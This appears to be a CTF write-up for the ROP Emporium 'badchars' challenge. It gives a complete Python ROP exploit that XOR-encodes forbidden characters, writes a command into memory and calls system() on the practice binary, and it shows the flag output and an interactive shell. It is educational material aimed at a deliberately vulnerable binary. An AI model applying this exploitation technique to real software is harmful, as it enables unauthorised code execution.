An arbitrary write challenge with a twist; certain input characters get mangled before finding their way onto the stack. Find a way to deal with this and craft your exploit.
The binary and challenge description can be found here:
https://ropemporium.com/challenge/badchars.html
This challenge is actually not much more difficult than the previous (write4). The only difference is that now you have to account for characters that either get mutated when they’re written to memory or just aren’t written at all. The binary has already done the hardest part for you, providing the useful gadgets. I didn’t even need to use ropper:

The hardest part of this challenge was writing the Python script.
Solution:
#!/usr/bin/env python3
import sys
import random
def write_string(string, location, badchars):
global payload
indices = []
for i, char in enumerate(string):
if chr(char) in badchars:
indices.append(i)
if indices:
key = random.randint(1, 127)
# This will XOR only the badchars with the key
for i in indices:
string = string[:i] + (int(string[i]) ^ key).to_bytes(1, "big") + string[i+1:]
payload += (0x400b40).to_bytes(8, "little") # pop r14; pop r15; ret
payload += (key).to_bytes(8, "little")
payload += (location+i).to_bytes(8, "little")
payload += (0x400b30).to_bytes(8, "little") # xor byte [r15], r14b; ret
# Run the string through again to make sure there are no badchars
return write_string(string, location, badchars)
# Add a null terminator if it doesn't already exist
if string[-1]:
string += b"\x00"
# This is what puts the XOR'd string into memory
for i in range(0, len(string), 8):
# Add null byte padding to make sure the string len is a multiple of 8
if len(string[i:i+8]) < 8:
string += b"\x00" * (8 - len(string[i:i+8]))
payload += (0x400b3b).to_bytes(8, "little") # pop r12; pop r13; ret
payload += string[i:i+8]
payload += (location + i).to_bytes(8, "little")
payload += (0x400b34).to_bytes(8, "little") # mov qword [r13], r12; ret
# Need to reverse the order of operations in the payload (32-bytes at a time)
payload = b"".join(reversed([payload[i:i+32] for i in range(0, len(payload), 32)]))
return string
# NOTE: This string cannot have a bad char in the 4th position (e.g. "/bin/sh" or "cat flag.txt")
# In the .data section (0x601070), the 4th position is 0x73, which is a bad char
command = " cat flag.txt"
location = 0x601070
# This can be either a list or dict (with the chars as the keys)
badchars = { " ": 0x20, "/": 0x2f, "b": 0x62, "c": 0x63,
"f": 0x66, "i": 0x69, "n": 0x6e, "s": 0x73 }
payload = b""
write_string(command.encode(), location, badchars)
payload = (b"A" * 40) + payload
# Execute the command
payload += (0x400b39).to_bytes(8, "little") # pop rdi; ret;
payload += (location).to_bytes(8, "little") # Address of where the string is saved to
payload += (0x4006f0).to_bytes(8, "little") # PLT address of system()
sys.stdout.buffer.write(payload)
Running the exploit:
andrew ~/badchars $ ./exploit.py | ./badchars
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
> ROPE{a_placeholder_32byte_flag!}
And in case you’d like to change the string to give you a shell (e.g. “bash”):
andrew ~/badchars $ (./exploit.py; echo; cat) | ./badchars
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
> id
uid=1000(andrew) gid=1000(andrew) groups=1000(andrew),1001(sudo)
cat flag.txt
ROPE{a_placeholder_32byte_flag!}
This script is far from perfect. For instance, it doesn’t check the addresses for bad characters, only the string. Perhaps I’ll improve it in the future.
I’m also not going to provide a detailed explanation of everything the script is doing. I’ve tried to provide enough comments for this. Also, your knowledge from the previous challenges should be enough to understand it.
